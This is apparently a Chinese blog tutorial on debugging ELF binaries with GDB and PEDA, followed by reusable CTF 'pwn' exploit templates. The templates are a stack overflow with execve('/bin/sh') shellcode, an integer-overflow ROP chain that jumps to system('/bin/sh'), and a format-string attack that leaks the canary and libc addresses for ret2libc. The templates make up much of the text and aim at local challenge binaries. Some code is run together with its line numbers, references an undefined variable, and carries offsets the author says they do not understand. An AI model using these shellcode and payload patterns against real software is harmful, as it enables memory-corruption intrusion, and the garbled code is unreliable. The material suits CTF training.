GDB分析ELF文件常用的調試技巧
gdb常用命令
首先是gbd+文件名 靜態調試 ,gdb attach +文件名 動態調試
為了方便查看堆棧和寄存器 最好是安裝peda插件
安裝
可以通過pip直接安裝,也可以從github上下載安裝
$ pip install peda $ git clone https://github.com/longld/peda.git ~/peda $ echo "source ~/peda/peda.py" >> ~/.gdbinit
命令
-
aslr
– 顯示/設定GDB的ASLR(地址空間配置隨機加載)設置 -
checksec
– 檢查二進制文件的各種安全選項 -
dumpargs
– 函數將要被調用時,顯示將要被傳入函數的所有參數(默認會在反匯編代碼下方自動顯示) -
dumprop
– 在給定內存范圍中Dump出所有ROP gadgets -
elfheader
– Get headers information from debugged ELF file -
elfsymbol
– 獲取non-debugging symbol信息(plt表) -
lookup
– Search for all addresses/references to addresses which belong to a memory range -
patch
– Patch memory start at an address with string/hexstring/int -
pattern
– 生成字符串模板 寫入內存 用於定位溢出點pattern create size
生成特定長度字符串pattern offset value
定位字符串
-
procinfo
– Display various info from /proc/pid/ -
pshow
– Show various PEDA options and other settings -
pset
– Set various PEDA options and other settings -
readelf
– 獲取elf頭信息 -
ropgadget
– Get common ROP gadgets of binary or library -
ropsearch
– Search for ROP gadgets in memory -
searchmem|find
– 在內存中查找字符串,支持正則表達式 -
shellcode
– 生成shellcode -
skeleton
– Generate python exploit code template -
vmmap
– 可以用來查看棧、bss段是否可以執行 xormem
– XOR a memory region with a key
更多詳細用法請參考官方幫助文檔
1. checksec 查看elf編譯的保護選項。
2. file [file] 加載objfile
3. disas addr 對地址addr處的指令進行反匯編,addr可以是函數名
4. b *addr 在addr處下一個斷點
5. x addr 查看addr處存儲的數據值
6. r 運行被調試的程序
7. c 繼續運行
8. ni 單步執行不進入
9. si 單步執行並進入
10.vmmap 得到虛擬映射地址
PWN題常用模板
單個發送(pwn庫)
1 #coding=utf-8 #中文亂碼 2 from zio import * 3 Thread = zio(('./pwn')) #執行同目錄下的pwn 4 Thread = write('a'*64+'\x00\x00\x00\x01') #輸入我們的payload 5 Thread = interact() 6 //p32(Address) 把32位地址 寫成0x形式 同理64位的也是
ZIO庫
1 from zio import * 2 from pwn import * 3 Thread = zio(('./pwn')) 4 #shellcode1='\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' 5 shellcode='\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50' 6 TargetAddress = 0x000000000040066E 7 Length = len(shellcode) 8 payload = shellcode+'\x90'*(72-Length)+p64(TargetAddress) 9 Thread.write(payload) 10 Thread.interact() 11
pwn庫 有消息接收和判斷的
1 from pwn import * 2 Shellcode='a'*112+'\x5D\x86\x04\x08' 3 Target=process('./pwn') 4 Target.sendline(Shellcode) 5 Target.recvuntil(':$') 6 #context.terminal = ['gnome-terminal','-x','sh','-c'] 7 #gdb.attach(proc.pidof(Target)[0]) 8 Target.sendline('zhimakaimen') 9 Target.interactive() 10 11
整數溢出型
1 from pwn import * 2 3 #r = remote('127.0.0.1', 9527) 4 r = process('./pwn3') 5 r.recvuntil('name \n') 6 r.sendline('123') 7 #raw_input('debug' 8 ##構造結構可以是:scanf->ret->”%9s”->某地址->system->填充->某地址。 9 10 #下面開始構造 11 r.recvuntil('index\n') 12 #-2147483648 -->0x80000000 *4后溢出為0 13 context.terminal = ['gnome-terminal','-x','sh','-c'] 14 gdb.attach(proc.pidof(p)[0]) 15 r.sendline(str(-2147483648 + 14)) #ebp+4的地址處 就是Return函數的地址 現在是一處地址一處值 1 16 r.recvuntil('value\n') 17 r.sendline(str(int('8048470', 16))) #jmp scanf 18 r.recvuntil('index\n') 19 r.sendline(str(-2147483648 + 15)) #ebp+8 20 r.recvuntil('value\n') 21 r.sendline(str(int('0x080487de', 16))) # pop edi 22 r.recvuntil('index\n') 23 r.sendline(str(-2147483648 + 16)) 24 r.recvuntil('value\n') 25 r.sendline(str(int('804884b',16))) #0804884B a9s db '%9s',0 26 r.recvuntil('index\n') 27 r.sendline(str(-2147483648 + 17)) 28 r.recvuntil('value\n') 29 r.sendline(str(int('804a030', 16))) #0804A030 __data_star 804a030 是GOT表的結尾 30 r.recvuntil('index\n') 31 r.sendline(str(-2147483648 + 18)) 32 r.recvuntil('value\n') 33 r.sendline(str(int('8048420', 16))) #system #jmp to system 34 r.recvuntil('index\n') 35 r.sendline(str(-2147483648 + 19)) 36 r.recvuntil('value\n') 37 r.sendline(str(int('804a030', 16))) #0804A030 __data_start db 0 38 r.recvuntil('index\n') 39 r.sendline(str(-2147483648 + 20)) 40 r.recvuntil('value\n') 41 r.sendline(str(int('804a030', 16))) #0804A030 __data_start db 0 42 r.recvuntil('index\n') 43 r.sendline(str(-2147483648 + 21)) 44 r.recvuntil('value\n') 45 r.sendline(str(int('8048420', 16))) ##system #jmp to system 46 r.recvuntil('index\n') 47 r.sendline(str(-2147483648 + 22)) 48 r.recvuntil('value\n') 49 r.sendline(str(int('8048420', 16))) ##system #jmp to system 50 r.recvuntil('index\n') #相當與讓代碼結束 執行ret從而執行到我們的流程 51 r.sendline('-1') 52 r.recvuntil('value\n') 53 r.sendline('10') 54 r.recvuntil('0 0 0 0 0 0 0 0 0 0 ') 55 r.sendline('/bin/sh') 56 r.interactive()
格式化字符串
1 from pwn import * 2 libc=ELF('/lib/i386-linux-gnu/i686/cmov/libc.so.6') 3 p=process("./pwn2") 4 context.terminal = ['gnome-terminal','-x','sh','-c'] 5 gdb.attach(proc.pidof(p)[0]) 6 p.recvuntil('name:') 7 p.sendline('%p.'*40) #輸出字符串 8 leak_data=p.recvuntil('messages:') 9 address=leak_data.split('.') #將輸出的地址分組 然后進行分組 10 canary=int(address[30],16) #這里為什么是 第30個 11 stack_addr=int(address[33],16)-0x90+0x8+0x8 #這里也不懂 12 put_addr=int(address[22],16)-0x144 13 system_addr=put_addr-(libc.symbols['puts']-libc.symbols['system']) 14 15 payload ='a'*100+p32(canary)+'a'*12+p32(system_addr)+'bbbb'+p32(stack_addr)+'/bin/sh\x00' 16 17 p.sendline(payload) 18 19 p.interactive()